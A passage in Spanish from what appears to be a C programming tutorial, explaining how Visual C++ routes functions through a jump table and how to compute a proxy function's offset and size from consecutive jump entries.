Otro punto importante, es cómo conseguir el offset y el tamaño de la función proxy. El código mostrado anteriormente está compilado en “Dev-Cpp” y obtiene los datos corréctamente, pero si lo compilamos en “Visual C++” y vamos depurando, veremos que el offset de la función proxy no es el offset real del comienzo de la función, sino que es un salto a la función. Si metemos más funciones, veremos que realmente, el compilador a generado una tabla de saltos, a la que el programa accede para usar cada una de nuestras funciones, con lo que si compilamos “ejemplo.c” en Visual C++ deberemos de leer el salto a la función proxy, y el siguiente salto, para obtener la diferencia entre los dos offsets y así poder calcular el tamaño de la función proxy.